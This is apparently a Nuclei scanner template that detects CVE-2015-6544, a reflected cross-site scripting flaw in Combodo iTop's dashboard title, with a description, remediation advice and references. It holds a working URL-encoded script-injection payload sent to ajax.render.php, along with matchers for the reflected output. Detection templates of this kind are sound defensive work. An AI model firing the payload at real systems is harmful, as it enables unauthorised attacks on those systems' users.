id: CVE-2015-6544

info:
  name: Combodo iTop <2.2.0-2459 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Combodo iTop before 2.2.0-2459 contains a cross-site scripting vulnerability in application/dashboard.class.inc.php which allows remote attackers to inject arbitrary web script or HTML via a dashboard title.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a version of Combodo iTop that is equal to or greater than 2.2.0-2459 to mitigate this vulnerability.
  reference:
    - https://www.htbridge.com/advisory/HTB23268
    - http://sourceforge.net/p/itop/tickets/1114/
    - http://sourceforge.net/p/itop/code/3662/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-6544
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2015-6544
    cwe-id: CWE-79
    epss-score: 0.05375
    epss-percentile: 0.91854
    cpe: cpe:2.3:a:combodo:itop:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: combodo
    product: itop
  tags: cve2015,cve,xss,itop,combodo,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/pages/ajax.render.php?operation=render_dashboard&dashboard_id=1&layout_class=DashboardLayoutOneCol&title=%%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022012f43b6a1386c8740079bd7f7f3597a39a1d6243eb1cc3ee53f5e66849c5b5a3022100ff749082f9158dfb84b75b9b3845eb6be97d478a61a7f8b8905ec9fd1289a57e:922c64590222798bb761d5b6d8e72950